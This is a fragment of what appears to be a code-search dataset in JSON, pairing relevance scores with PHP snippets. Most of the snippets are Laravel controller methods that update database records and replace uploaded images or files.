$resource;\n }); \n\n $this->checkOwner($resource);\n\n return $this->redirect($request, $resource); \n }", "title": "" }, { "docid": "9a5dcd97258a1dde56734d3bfd713b95", "score": "0.6116463", "text": "public function updateResource(Request $request, $id)\n {\n $validatedData = $request->validate(\n [\n 'title' => 'required',\n 'description' => 'required',\n 'uploadedfile' => 'mimes:flv,mp4,avi,wmv,3gp,mov,mkv,vob'\n ],\n [\n 'title.required' => 'Please enter video title.',\n 'description.required' => 'Please enter description.',\n 'uploadedfile.mimes' => 'Video format not supported.'\n ]\n );\n\n if($file = $request->hasFile('uploadedfile')) {\n \n $file = $request->file('uploadedfile') ; \n $fileName = $file->getClientOriginalName() ;\n $destinationPath = public_path().'/storage/resource' ;\n $file->move($destinationPath,$fileName);\n $resourceUpdate = DB::table('table_resources')->where([\n ['id','=',$id],\n ])->update(array(\n 'title' => $request->title,\n 'description' => $request->description,\n 'url' => $fileName\n ));\n if($resourceUpdate) {\n return redirect()->back()->with('message', 'Resource successfully updated.');\n } else {\n return redirect()->back()->withErrors(['Nothing changed. Please try again.']);\n }\n \n } else {\n $resourceUpdate = DB::table('table_resources')->where([\n ['id','=',$id],\n ])->update(array(\n 'title' => $request->title,\n 'description' => $request->description \n ));\n if($resourceUpdate) {\n return redirect()->back()->with('message', 'Resource successfully updated.');\n } else {\n return redirect()->back()->withErrors(['Nothing changed. Please try again.']);\n }\n\n }\n\n }", "title": "" }, { "docid": "7bfce29a195f384d1bcc21b603c792d2", "score": "0.6033452", "text": "public function update(Request $request, $id){\n\n $this->validate($request, $this->getValidationRules($request), $this->getValidationMessages($request));\n \n if($request->file('image')){\n $rules = [\n 'image' => 'image|mimes:jpg,jpeg,png'\n ];\n\n $this->validate($request, $rules);\n }\n\n \n try {\n $resource = Resource::withTrashed()->findOrFail($id); \n }catch (ModelNotFoundException $e){\n $errors = collect(['El recurso con ID '.$id.' no se encuentra.']);\n return back()\n ->withInput()\n ->with('errors', $errors);\n }\n $this->setResource($resource, $request);\n \n $resource->spaces()->detach();\n $resource->spaces()->attach($request->spaces);\n\n return redirect()->route('resources.index')\n ->with('session_msg', '¡El recurso, se ha editado correctamente!');\n }", "title": "" }, { "docid": "88d2a1e76ebbaa8bd165532adff21092", "score": "0.6013595", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $resource = Resource::where('product_id', $id)->first();\n\n $this->validate(request(), [\n 'category_id' => 'required',\n 'name' => 'required',\n 'short_name' => 'required',\n// 'article' => 'required',\n 'price' => 'required',\n 'collection_id' => 'required',\n 'atribut_id' => 'required',\n ]);\n\n $product->category_id = $request->get('category_id');\n $product->name = $request->get('name');\n $product->short_name = $request->get('short_name');\n// $product->article = $request->get('article');\n $product->price = $request->get('price');\n $product->collection_id = $request->get('collection_id');\n $product->atribut_id = $request->get('atribut_id');\n\n $method = __METHOD__;\n LogFile::ProductLog($product, $method);\n $product->save(); //Сохраняем изменения продукта\n\n return redirect('admin/products')->with('update', 'Продукт обновлен');\n }", "title": "" }, { "docid": "9349dc7f33c6326d0383abd536af6ce3", "score": "0.596908", "text": "public function updated(\n $resource = null,\n array $links = [],\n $meta = null,\n array $headers = []\n ): Response {\n return $this->getResourceResponse($resource, $links, $meta, $headers);\n }", "title": "" }, { "docid": "4e5acd860dcda74c61d836d96050b079", "score": "0.59593076", "text": "public function put(Storage $storage);", "title": "" }, { "docid": "215d42ed153b26bc9b49ae5c5951d499", "score": "0.5955367", "text": "public function update(StoragesUpdateRequest $request, $id)\n {\n $now = \\Carbon\\Carbon::now();\n $storage = Storage::find($id);\n $by_id = Auth::user()->id;\n\n $storage->fill([\n 'maker' => $request->maker,\n 'model_number' => $request->model_number,\n 'serial_number' => $request->serial_number,\n 'size' => $request->size,\n 'types' => $request->types,\n 'supported_os' => $request->supported_os,\n 'recovery_key' => $request->recovery_key,\n 'storage_password' => $request->storage_password,\n 'deleted_at' => $request->deleted_at === \"1\" ? $now : null,\n 'reason' => $request->reason,\n 'updated_by' => $by_id,\n ])\n ->save();\n\n return redirect()->route('storages.show', $storage->id)->with('information', 'レコードを更新しました。');\n }", "title": "" }, { "docid": "da49ecf5dc35b8e5edb8b21644469290", "score": "0.5939757", "text": "public function update(RespondentStoreRequest $request, $id)\n {}", "title": "" }, { "docid": "b96bbe109f16f366cfd72892d0d0be64", "score": "0.5903822", "text": "public function update(Request $Request, Resource $Resource)\n {\n\t\t\t$Actions = ($Request->actions)?:[1];\n\t\t\t$Action = \"0.\" . implode(\"\",array_replace(array_fill(1,max($Actions),0),array_fill_keys($Actions,1)));\n\t\t\t$Request->action = $Action;\n\t\t\t$UpdateArray = []; $Rules = Resource::ValidationRules(); $MyRules = [];\n\t\t\tforeach($Resource->FillableFields() as $Field){\n\t\t\t\tif($Field == \"code\") continue;\n\t\t\t\tif($Request->$Field != $Resource->$Field){\n\t\t\t\t\t$Resource->$Field = $UpdateArray[$Field] = $Request->$Field;\n\t\t\t\t\tif(isset($Rules[$Field])) $MyRules[$Field] = $Rules[$Field];\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(empty($UpdateArray)) return redirect()->back()->with([\"info\"=>true,\"type\"=>\"info\",\"text\"=>\"No fields to update.\"]);\n\t\t\t$Validator = Validator::make($UpdateArray,$MyRules,Resource::ValidationMessages());\n\t\t\tif($Validator->fails()) return redirect()->back()->withErrors($Validator);\n\t\t\tif($Resource->status == \"ACTIVE\" && $Resource->save()) return redirect()->route('resource.index')->with([\"info\"=>true,\"type\"=>\"info\",\"text\"=>\"The Resource: \" . $Resource->displayname . \", updated successfully\"]);\n\t\t\treturn view(\"resource.error\");\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5890722", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "f78906153226222ee5bdfc9d13a06d23", "score": "0.58857", "text": "protected function save($resource) {\n if (isset($resource['public_id'])) {\n $this->collection->update(array('public_id' => $resource['public_id']), $resource, array('upsert' => TRUE));\n }\n }", "title": "" }, { "docid": "99960e81f0d443f90e5e0aa954abd481", "score": "0.5885372", "text": "public function update($id, Request $request) {\n $this->validate($request, isset($this->model->rules_update) ? $this->model->rules_update : $this->model->rules);\n\n ${$this->resource} = $this->model->findOrFail($id);\n\n $fillable_data = array_only($request->all(), $this->model->getFillable());\n\n App::setLocale(Helpers::getLang());\n\n ${$this->resource}->update($fillable_data);\n\n Admin::handleFileUpload('image', ${$this->resource}, 'image');\n\n return Redirect::route($this->view_path . '.index')->with('success', 'yeah');\n }", "title": "" }, { "docid": "a516665e3766b23c94ab33c5940aab8d", "score": "0.5874832", "text": "public function update(UpdateRequest $request, $id)\n {\n $data = $request->all();\n $product = Product::findOrFail($id);\n\n DB::beginTransaction();\n try {\n\n tap($product)->update($data);\n\n if ($request->hasFile('image')) {\n @unlink('products' . $product->image);\n $product->image = time() . '-' . $product->description . '.' . $request->file('image')\n ->getClientOriginalExtension();\n $request->file('image')->move('products', $product->image);\n }\n\n $product->save();\n\n $productResource = new ProductResource($product);\n\n DB::commit();\n return $this->responseSuccess([\n 'message' => trans('response.ProductController.update.success'),\n 'data' => $productResource,\n ]);\n } catch (\\Exception $exception) {\n DB::rollBack();\n return $this->responseError([\n 'message' => trans('response.ProductController.update.error'),\n 'errors' => $exception->getMessage(),\n ], Response::HTTP_INTERNAL_SERVER_ERROR);\n }\n }", "title": "" }, { "docid": "dbe374356cb114ab5e44b198d87b232f", "score": "0.58492017", "text": "public function put($resource, $data){\n $client = new Client([\n 'base_uri' => $this->baseUri\n ]);\n\n //Trim left slashes\n $resource = ltrim($resource,'/');\n\n //Cache miss call to API\n $res = $client->request('PUT', $resource, [\n 'json' => $data,\n 'headers' => [\n 'Authorization' => 'Bearer ' . $this->accessToken,\n 'User-Agent' => env('BASECAMP_AGENT')\n ]\n ]);\n\n //Get JSON payload\n $json = $res->getBody()->getContents();\n\n return json_decode($json);\n }", "title": "" }, { "docid": "0bb389e7c0c131b01dec97c33ec501e0", "score": "0.579422", "text": "public function update(Request $request, $id)\n {\n $resource = MyResource::find($id);\n if ($resource != null) {\n if ($resource->user->id == $request->user()->id || $request->user()->hasRole('Admin')) {\n $request->merge(['module_id' => $request->get('module_id')]);\n $request->validate(['title' => 'required|string', 'description' => 'nullable|string', 'google_drive' => 'nullable|url|max:255', 'publish_year' => 'required|numeric|digits:4|between:2008,' . date('Y'), 'module_id' => 'required|integer|exists:modules,id']);\n $resource->update($request->all());\n\n return redirect()->route('resources.index')\n ->with('success', 'Resource updated successfully');\n }\n return abort(401, 'You\\'re not allowed to edit this resource!');\n }\n return abort('404', 'User not found!');\n }", "title": "" }, { "docid": "7dec035d65557a5fa957575b344e390d", "score": "0.5787175", "text": "protected function saveResource(&$resource) {\n $this->getConfig()->set($resource['key'], $resource['value']);\n\n $resource['id'] = $resource['key'];\n }", "title": "" }, { "docid": "231bf07a63b0a16b02c083ef86c176fd", "score": "0.57833594", "text": "public function update(Request $request, $id)\n {\n $input=$request->file_path;\n if(isset($input)) {\n $File = $this->fileUpload($input);\n }\n else{\n $File = \"course_resource/default.jpg\";\n }\n\n\n $course_resources = CourseResource::whereId($id)->firstOrFail();\n $course_resources->course_id = $request->get('course_id');\n $course_resources->title = $request->get('title');\n $course_resources->description = $request->get('description');\n $course_resources->file_path = $File;\n\n\n $course_resources->save();\n return redirect(action('CourseResourcesController@edit', $course_resources->id))->with('status', 'The file has been updated!');\n }", "title": "" }, { "docid": "611dd800c7185eb18c8f75c9a8595a6c", "score": "0.57606536", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $product->name = $request->name;\n $product->rock = $request->rock;\n $product->weight = $request->weight;\n $product->carat = $request->carat;\n $product->stock = $request->stock;\n $product->price = $request->price;\n $product->color = $request->color;\n $product->category_id =Category::find($request->category_id)->id;\n\n if($request->hasFile(\"image\")){\n //delete old image and save new image\n unlink(storage_path('app/public/productImages/'. $product->src));\n $product->src=$request->image->hashName();\n $request->image->store(\"productImages\",\"public\");\n }\n \n if($product->save()){\n return redirect()->route('products.index');\n }else{\n return view(\"partials.error\");\n }\n }", "title": "" }, { "docid": "3b6c3aaa23b4fb918ebc093545c13dc6", "score": "0.57525045", "text": "public function update($entity);", "title": "" }, { "docid": "eaf18f66946228a152f8b83c6b49e31e", "score": "0.5747208", "text": "public function update($id, $data) {}", "title": "" }, { "docid": "ab7c78237c36ea0911a0a7aba52fe065", "score": "0.5722473", "text": "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $body = json_encode($json);\n $request = new Request('PUT', '/entities', [], $body);\n $response = $this->send($request);\n return $response;\n }", "title": "" }, { "docid": "94a50f00a1fdfc16d75925e06f8f3ece", "score": "0.5718023", "text": "public function update($resource, $id, array $data = [], array $fileData = [],\n array $options = []\n ) {\n $request = new Request(Request::UPDATE, $resource);\n $request->setId($id)\n ->setContent($data)\n ->setFileData($fileData)\n ->setOption($options);\n return $this->execute($request);\n }", "title": "" }, { "docid": "8d0a97cdf24a3e49996a055c1d6f9ee9", "score": "0.5674049", "text": "public function put($data);", "title": "" }, { "docid": "dd89d251e44d4f4288498c4f3fcdbd27", "score": "0.5669232", "text": "public function update(StoreQuestionRequest $request, Question $question)\n {\n $question->update($request->all());\n return (new QuestionResource($question))->response()->setStatusCode(Response::HTTP_OK);\n }", "title": "" }, { "docid": "07d0f77b1ff351c39ea339ec0c30336e", "score": "0.5668569", "text": "public function update(Request $request, $id)\n {\n $product=Product::find($id);\n $photo=$product->photo;\n if($request->file('photo')){\n $photo=$request->file('photo')->store('public/products');\n \\Storage::delete($product->photo);\n \n \n }\n $product->name=$request->name;\n $product->category_id=$request->category;\n $product->subcategory_id=$request->subcategory;\n $product->description=$request->description;\n $product->photo=$photo;\n $product->price=$request->price;\n $product->quantity=10;\n $product->update();\n notify()->success('Product Update Successfully!');\n return redirect('/product');\n }", "title": "" }, { "docid": "50feec899487537246234315718a4677", "score": "0.56560737", "text": "public function updated(Octocat $resource)\n {\n session()->flash('title', $resource->name);\n session()->flash('message', \"Octocat successfully updated\");\n session()->flash('type', 'success');\n }", "title": "" }, { "docid": "6310b8a0a92465d8b22379c86deeecd7", "score": "0.564211", "text": "public function put($resource, array $parameters = [], $headers = [])\n {\n return $this->request('PUT', $resource, [\n 'form_params' => $parameters,\n 'headers' => $headers,\n ]);\n }", "title": "" }, { "docid": "d31fe3056f944a65fa9ec19317300e44", "score": "0.5622648", "text": "public function update(Request $request)\n {\n \t$validator = Validator::make($request->all(), [\n 'title' => 'required',\n 'id' => 'required',\n 'url' => 'required'\n ]);\n if ($validator->fails()) {\n return redirect(route('manage-contractor-resources-edit', $request->id))\n ->withErrors($validator)\n ->withInput();\n }\n\n $info['title'] = $request->title;\n $info['url'] = $request->url;\n $info['chapter'] = $request->chapter;\n $info['description'] = $request->description;\n $id = $info['id'] =$request->id;\n if(!$id){ \n $request->session()->flash('error', \"Nothing to update (or) unable to update.\");\n return redirect(route('manage-contractor-resources'))->withInput();\n }\n if((new ContractorResource)->updateContractorResource($info)) {\n $request->session()->flash('success', \"Contractor Resource Updated Successfully.\");\n return redirect(route('manage-contractor-resources'));\n } else { \n $request->session()->flash('error', \"Nothing to update (or) unable to update.\");\n return redirect(route('manage-contractor-resources'))->withInput();\n }\n }", "title": "" }, { "docid": "45805699e2ef60790309007e165386e9", "score": "0.5617589", "text": "public function update(Request $request, $id)\n {\n if(count($request->all()) == 0)\n {\n return redirect()->route('home');\n }\n $item = Item::where('id', $id)->first();\n \n if($item)\n { $this->validate($request, [\n 'itemDescription' => ['required']\n ]); \n $item->itemDescription = $request->get('itemDescription');\n $item->inventoryID = $request->get('inventoryID');\n if($request->file('select_file'))\n { \n $this->validate($request, ['select_file' => 'image|mimes:jpeg,png,jpg,gif|max:2048']);\n $image = $request->file('select_file');\n $path = $image->store('stock', 's3');\n\n $item->photoUploadLink = $path;\n }\n $item->save();\n return redirect()->route('stock')->with('success','Stock was successfully updated.');\n }\n else{\n return redirect()->route('stock')->with('error','Unfortunately an error has occurred.');\n }\n }", "title": "" }, { "docid": "0ca7ba7cd4456dc2a52499c097eb460d", "score": "0.5611832", "text": "public function update(Request $request, Memory $memory)\n {\n \n }", "title": "" }, { "docid": "28ac32d59483ead96eb99c3920d2d977", "score": "0.56017566", "text": "public function update( Request $request, $id ) {\n if ( $request->hasFile( 'newphoto' ) ) {\n\n $file = $request->file( 'newphoto' );\n $file_name = time() . '.' . $file->extension();\n $file->move( public_path( 'backend/supplier/' ), $file_name );\n\n $supplier = Supplier::find( $id );\n\n $oldPhoto = $supplier->photo;\n\n if ( $oldPhoto ) {\n $photo_url = $oldPhoto;\n $part = explode( '/', $photo_url );\n $slicedArr = array_slice( $part, 3 );\n $photoStr = implode( '/', $slicedArr );\n unlink( $photoStr );\n }\n\n $supplier->name = $request->name;\n $supplier->email = $request->email;\n $supplier->address = $request->address;\n $supplier->phone = $request->phone;\n $supplier->shopname = $request->shopname;\n $supplier->photo = asset( \"backend/supplier/{$file_name}\" );\n $supplier->save();\n return $request;\n } else {\n $supplier = Supplier::find( $id );\n\n $supplier->name = $request->name;\n $supplier->email = $request->email;\n $supplier->address = $request->address;\n $supplier->phone = $request->phone;\n $supplier->shopname = $request->shopname;\n $supplier->photo = $request->photo;\n $supplier->save();\n return $request;\n }\n }", "title": "" }, { "docid": "a9e48624384796f4304eebd40f4ae1bc", "score": "0.5599046", "text": "public function update()\n {\n $id = Input::get('id');\n $obj = Product::find($id);\n if ($obj == null) {\n return view('404');\n }\n $obj->name = Input::get('name');\n $obj->images = Input::get('images');\n $obj->description = Input::get('description');\n $obj->price = Input::get('price');\n $obj->save();\n return redirect('/admin/product');\n }", "title": "" }, { "docid": "feafa85fd136a8bfa7378058dbef8934", "score": "0.55935574", "text": "public function update(StoreQuestion $request, Question $question)\n {}", "title": "" }, { "docid": "5583a1a1065b5e63099c0ebbfcc38083", "score": "0.55854446", "text": "public function modifyResource($uri,\n $sparql = \"\",\n $headers = [],\n $transaction = \"\") {\n $options = [];\n\n // Set content.\n $options['body'] = $sparql;\n\n // Set headers.\n $options['headers'] = $headers;\n $options['headers']['Content-Type'] = 'application/sparql-update';\n\n // Ensure uri takes transaction into account.\n $uri = $this->prepareUri($uri, $transaction);\n\n $response = $this->client->request(\n 'PATCH',\n $uri,\n $options\n );\n\n return null;\n }", "title": "" }, { "docid": "4016847dea9b55e59a4acd18600a30f5", "score": "0.55813426", "text": "public function update($request, $id);", "title": "" }, { "docid": "15b871253c843a97a53c3d5984ec74b9", "score": "0.5576059", "text": "public function update(Request $request, $id)\n {\n //\n $this->validate($request, [\n 'name' => 'required',\n 'price' => 'required',\n 'image_url' => 'image|nullable|max:1999'\n ]);\n\n $product = Product::find($id);\n $product->name = $request->input('name');\n $product->price = $request->input('price');\n $product->groups = $request->input('groups');\n $product->stocks = $request->input('stocks');\n $product->description = $request->input('description');\n //to handle file in updload this way if no new image added the image \n //wont be updated.\n if ($request->hasFile('image_url')){\n //to get the filename with ext\n $file = $request->file('image_url')->getClientOriginalName();\n //get file name\n $filename = pathinfo($file, PATHINFO_FILENAME);\n //get extensiopn\n $ext = $request->file('image_url')->getClientOriginalExtension();\n //new filename\n $fileNameToStore = $filename.'_'.time().'.'.$ext;\n #upload\n $path = $request->file('image_url')->storeAs('public/images', $fileNameToStore);\n }else{\n $fileNameToStore = $product->image_url;\n }\n $product->image_url= $fileNameToStore;\n $product->save();\n\n return redirect('/');\n }", "title": "" }, { "docid": "d30de7511ec7de74e32f94e01d31fafe", "score": "0.5566411", "text": "public function update(Request $r, $id){\n $prk = Portkey::find($id);\n $prk->name = $r->name;\n \n if(isset($r->image)){\n Storage::disk('portkeyMap')->delete($prk->image);\n $path = $r->file('image')->store('', 'portkeyMap');\n $prk->image = $path;\n }\n $prk->save();\n return redirect()->route('portkey.index');\n }", "title": "" }, { "docid": "f77c93b62808595a63d9f6f31b1f80e0", "score": "0.55661047", "text": "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "title": "" }, { "docid": "0af57b3d439623d9ddfbbd2c23e24b1f", "score": "0.55599797", "text": "public function update($id, $data);", "title": "" }, { "docid": "8f8dacf3ca2fb2c9044973cfcebc7c92", "score": "0.555745", "text": "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if(!empty($request->input('tags'))){\n $product->tags()->sync($request->input('tags'));\n }else {\n $product->tags()->detach();\n }\n\n //gestion sup image\n if($request->input('delete_picture')=='true'){\n if(!is_null($product->picture)) {\n Storage::delete($product->picture->uri);\n $product->picture->delete();\n }\n }\n\n //gestion de la modification image\n if(!is_null($request->file('thumbnail'))){\n if(!is_null($product->picture)) {\n Storage::delete($product->picture->uri);\n $product->picture->delete();\n }\n\n $im = $request->file('thumbnail');\n $ext = $im->getClientOriginalExtension();\n $uri = str_random(12).'.'.$ext;\n $picture = Picture::create([\n 'uri' => $uri,\n 'type' => $ext,\n 'size' => $im->getClientSize(),\n 'product_id' => $product->id\n ]);\n\n $request->file('thumbnail')->move(env('UPLOAD_PATH','./uploads'), $picture->uri);\n\n }\n\n $product->update($request->all());\n return redirect('product')->with(['message'=>'success']);\n }", "title": "" }, { "docid": "603c333c3d11c6ec2de9c240d7fa4363", "score": "0.55474466", "text": "public function update(Request $request, $id)\n {\n $image = $request->file('image')->store('product', 'public');\n $product = Product::find($id);\n\n $product->nombre = $request->input('nombre');\n $product->descripcion = $request->input('descripcion');\n $product->precio = $request->input('precio');\n $product->stock = $request->input('stock');\n $product->category_id = $request->input('category_id');\n $product->image = $image;\n \n $product->save();\n\n return redirect(\"/$product->id/showProduct\"); \n }", "title": "" }, { "docid": "7412cf8d4f3cd118bf4c8ef71352185b", "score": "0.5544467", "text": "public function update(Request $request, Restify $restify)\n {\n //\n }", "title": "" }, { "docid": "4c0ab51ecbeaff3788498a88d8e05dde", "score": "0.55394554", "text": "public function update($id) {\n \n }", "title": "" }, { "docid": "66139d48c34ab92a5f49f5d92e5064cc", "score": "0.55334014", "text": "public function put_products($productName)\n{\n $raw = file_get_contents('php://input');\n $newProduct = Product::fromJson($raw);\n\n $db = new DataStore();\n $db->beginTransaction();\n $oldProduct = Product::productByName($db, $productName);\n if (is_null($oldProduct))\n throw new RESTException('Product not found.', 404);\n\n $oldProduct->update($db, $newProduct);\n $db->commit();\n echo('Product ' . $productName . ' updated.');\n}", "title": "" }, { "docid": "45a4f9a4a649b70b7c4d70ad32264661", "score": "0.5530422", "text": "public function update(Request $request,$id)\n { \n $slider = Slider::find($id);\n //start image upload\n if($request->file('image') != \"\"){\n $_IMAGE = $request->file('image');\n $name = time().$_IMAGE->getClientOriginalName();\n $uploadPath = 'public/frontend/images/main-slider/';\n $_IMAGE->move($uploadPath,$name);\n $_imageUrl = $uploadPath.$name;\n\n //delete previous image\n if(!empty($slider->image)){\n try{\n unlink(\"$slider->image\");\n }\n catch(\\Exception $e){\n\n }\n finally{\n $flag = true; \n }\n }\n //store updated image\n $slider->image = $_imageUrl;\n\n }\n //end image upload\n $slider->type = $request->type;\n $slider->title = $request->title;\n $slider->sub_title = $request->sub_title;\n $slider->redirect_link = $request->redirect_link;\n $slider->active = $request->active;\n $slider->slider_order = $request->slider_order;\n $slider->save();\n\n return redirect('/admin/sliders')->with('success',' Data Updated');\n }", "title": "" }, { "docid": "0b10222182779f95692d101f822f75b6", "score": "0.55273986", "text": "public function update(Request $request, $id)\n {\n\n $slider=Slider::findorfail($id);\n $this->validate($request,[\n \"title\"=>\"required|max:100\",\n \"image\"=>\"nullable|image\"\n ]);\n\n $slider->name=$request->get(\"title\");\n if($request->hasFile(\"image\")){\n $old_location=public_path(\"images/slider/\".$slider->image_url);\n if(file_exists($old_location))\n unlink($old_location);\n\n $dblocation=uniqid(true).'.png';\n $location=public_path('images/slider/'.$dblocation);\n $file=$request->file(\"image\");\n Image::make($file)->encode(\"png\")->save($location);\n $slider->image_url=$dblocation;\n }\n\n $slider->save();\n Session::flash(\"success\",\"Slider has been updated\");\n\n return redirect()->back();\n\n\n }", "title": "" }, { "docid": "122628d1e06ea888611a75c166b89b4c", "score": "0.552677", "text": "public function patch($data) {\n if (isset($data['id']) && !is_numeric($data['id'])) {\n // Throw an error....\n return new ResourceResponse(\n [\n 'error' => t('You must provide an valid ID when updating a resource.'),\n ],\n ResourceResponse::HTTP_BAD_REQUEST\n );\n }\n $file_system_access_entity = entity_load('file_system_access', $data['id']);\n if (empty($file_system_access_entity)) {\n return new ResourceResponse(\n [\n 'error' => t('Resource not found.'),\n ],\n 404\n );\n }\n if (isset($data['entity_id']) && is_numeric($data['entity_id'])) {\n $file_system_access_entity->set('entity_id', $data['entity_id']);\n }\n if (isset($data['entity_type'])) {\n $file_system_access_entity->set('entity_type', $data['entity_type']);\n }\n if (isset($data['can_view']) && in_array($data['can_view'], [0, 1])) {\n $file_system_access_entity->set('can_view', $data['can_view']);\n }\n if (isset($data['can_write']) && in_array($data['can_write'], [0, 1])) {\n $file_system_access_entity->set('can_write', $data['can_write']);\n }\n if (isset($data['notify_of_upload']) && in_array($data['notify_of_upload'], [0, 1])) {\n $file_system_access_entity->set('notify_of_upload', $data['notify_of_upload']);\n }\n if (isset($data['user_id'])) {\n $file_system_access_entity->set('user_id', ['target_id' => $data['user_id']]);\n }\n // Save the FileSystemAccess Entity.\n $file_system_access_entity->save();\n // Return reponse.\n return new ModifiedResourceResponse(NULL, 202);\n }", "title": "" }, { "docid": "a82e18d865c6a0f13355d38c12c144b4", "score": "0.5523652", "text": "public function updateFilepath(){\n if(!empty($this->originalResource)){\n $this->setFilepath($this->getOriginalResource()->getIdentifier());\n }\n }", "title": "" }, { "docid": "c2ba30e945f68db8e69ec9299a2bf860", "score": "0.55200166", "text": "public function setResource($resource){\n $this->resource = $resource;\n }", "title": "" }, { "docid": "66fbae8975fea1c3ac6a3142735e3664", "score": "0.55114806", "text": "public function update(Request $request, $id)\n {\n $lens = Lens::find($id);\n\n File::delete(str_replace('public','storage',$lens->image));\n\n $lens->delete();\n\n $path = $request->file('image')->store('public');\n\n $lens = Lens::create($request->all());\n\n $lens->image = $path;\n $lens->update();\n\n return redirect()->route('lens.index');\n }", "title": "" }, { "docid": "265c7e4e1d9ccb8f2d919846c5c6d0e1", "score": "0.55072427", "text": "public function update($id, $input);", "title": "" }, { "docid": "70d4983ca950042ec52182066262a01f", "score": "0.55057055", "text": "public function update(Request $request, Product $product)\n {\n \n $product->name = $request->name;\n $product->price = $request->price;\n $product->description = $request->description;\n $product->featured = $request->featured;\n $product->image = $request->image;\n $product->category_id = $request->category_id;\n $product->brand_id = $request->brand_id;\n\n $product->save();\n\n return response([\n 'data' => new ProductResource($product)\n ],Response::HTTP_CREATED);\n }", "title": "" }, { "docid": "a1981e95d8e1e839e57300bff0e83269", "score": "0.5500746", "text": "abstract public function update_storage_site();", "title": "" }, { "docid": "012a18ea3549362ce2727f6242b46f5a", "score": "0.5497882", "text": "public function update(UpdateProductRequest $request, $id)\n {\n $products = Product::find($id);\n $path = null;\n $requestData = $request->all();\n if ($request->file('image')) {\n $path = $request->file('image')->store('public');\n @unlink('storage/'. $products->image);\n }\n if($request->hasFile('image')) {\n //\\File::delete($events->image);\n $requestData['image'] = $path;\n// $requestData['image'] = IdomNotification::uploadAndResize($request->file('image'));\n }\n\n\n\n\n// dd($data);\n $products->update($requestData);\n// $idoms->update($requestData);\n\n return redirect('/admin/products')->with('success','Item update successfully!');\n }", "title": "" }, { "docid": "631ec05d06376fc3d4e4c009809fbc97", "score": "0.54973245", "text": "public function update(SliderRequestUpdate $request, $id)\n {\n $slider=Slider::find($id);;\n $slider->TituloSlider=$request->TituloSlider;\n $slider->DescripcionSlider=$request->DescripcionSlider;\n $slider->EstadoSlider=$request->EstadoSlider;\n\n if ($request->file('file')) {\n \n Storage::disk('s3')->delete('sliders/'.$slider->file_name);\n\n $nameFile = $request->file('file');\n \n $newName = time().rand().'.'.$nameFile->getClientOriginalExtension();\n #Amazon\n\n $path = $nameFile->storeAs('sliders', $newName,'s3');\n Storage::disk('s3')->setVisibility($path, 'public');\n \n $slider->file_url=Storage::disk('s3')->url($path);\n $slider->file=$nameFile->getClientOriginalName();\n $slider->file_name=$newName;\n $slider->file_type=$nameFile->getClientOriginalExtension();\n\n }\n\n \n # $slider->file_url\n $slider->update();\n\n return $slider;\n }", "title": "" }, { "docid": "5ec7d4d96d210f32e09b80058c55a490", "score": "0.5496931", "text": "public function update(Request $request, $id){\n $product = Product::find($id);\n // dd($product);\n if($product){\n if($request->description){\n $product->description = $request->description;\n }\n if($request->name){\n $product->name = $request->name;\n }\n if($request->qty){\n $product->qty = $request->qty;\n }\n if($request->price){\n $product->price = $request->price;\n }\n if ($request->hasFile('image')) {\n $img_src = $request->file('image')->store('public/images');\n $product->image_src = $img_src;\n }\n\n return $product->save() ? 'product updated!' : 'could not update the product';\n }else{\n return 'product not found';\n }\n \n }", "title": "" }, { "docid": "ba09590827a6c41287d661376548ea80", "score": "0.5494963", "text": "public function update(Request $request, $client, $resource)\n\t{\n\t\t$resource = Resource::findBySlug($client, $resource);\n\n\t\tif (!$resource) {\n\t\t\treturn response(view('resources.404'), 404);\n\t\t}\n\n\t\t$resource->load('client');\n\t\t$client = $resource->client;\n\n\t\t$this->authorize('manage', $resource);\n\n\t\t$this->validate($request, [\n\t\t\t'name' => ['required', 'max:255'],\n\t\t\t'slug' => [\n\t\t\t\t'required',\n\t\t\t\t'max:255',\n\t\t\t\t'alpha_dash',\n\t\t\t\t'unique:resources,slug,'.$request->input('slug', $resource->slug).',slug,client_id,'.$resource->client->id,\n\t\t\t\t'not_in:create,destroy,edit,prune'\n\t\t\t],\n\t\t\t// 'metadata' => ['array'],\n\n\t\t\t'attachments' => ['array'],\n\t\t\t'uploads' => ['array'],\n\n\t\t\t'type' => ['required'],\n\n\t\t\t'client' => ['required', 'exists:clients,id'],\n\n\t\t\t'tags' => ['array'],\n\t\t\t'tags.*' => ['exists:tags,id'],\n\t\t]);\n\n\t\tif (($newClient = $request->input('client', $resource->client->id)) != $resource->client->id) {\n\t\t\t$client = Client::find($newClient);\n\t\t\t$resource->client()->associate($client);\n\t\t}\n\n\t\t$resource->name = $request->input('name');\n\t\t$resource->slug = $request->input('slug');\n\t\t$resource->metadata = $request->input('metadata', []);\n\n\t\t$attachments = $request->input('attachments', []);\n\n\t\tif ($request->hasFile('uploads')) {\n\t\t\t$uploads = $request->file('uploads');\n\t\t\t$attachments = array_merge($attachments, $uploads);\n\t\t}\n\n\t\t$resource->attachments = $attachments;\n\n\t\t// set type\n\t\tif (!($type = ResourceType::findBySlug($request->input('type')))) {\n\t\t\t$type = ResourceType::create([\n\t\t\t\t'name' => $request->input('type'),\n\t\t\t\t'slug' => str_slug($request->input('type')),\n\t\t\t]);\n\t\t}\n\n\t\t$resource->type()->associate($type);\n\n\t\t$resource->save();\n\n\t\t$resource->tags()->sync($request->input('tags', []));\n\n\t\treturn redirect()->route('clients.resources.show', ['client' => $resource->client->url, 'resource' => $resource->url])\n\t\t\t->with('alert-success', 'Resource updated!');\n\t}", "title": "" }, { "docid": "ebfc2a23b89e301d5a4b298c50156e0d", "score": "0.54949397", "text": "public function update($id);", "title": "" }, { "docid": "ebfc2a23b89e301d5a4b298c50156e0d", "score": "0.54949397", "text": "public function update($id);", "title": "" }, { "docid": "96e3e53de207d1c0165b2f8d9b2e8bd8", "score": "0.5492371", "text": "public function update(Request $request, $id)\n {\n $book = Book::findOrFail($id);\n $path = Storage::putfile('public',$request->file('image'));\n $url = Storage::url($path);\n\n $book->title = $request->title;\n $book->price = $request->price;\n $book->image = $url;\n $book->subject = $request->subject;\n $book->author = $request->author;\n $book->pub_house = $request->pub_house;\n 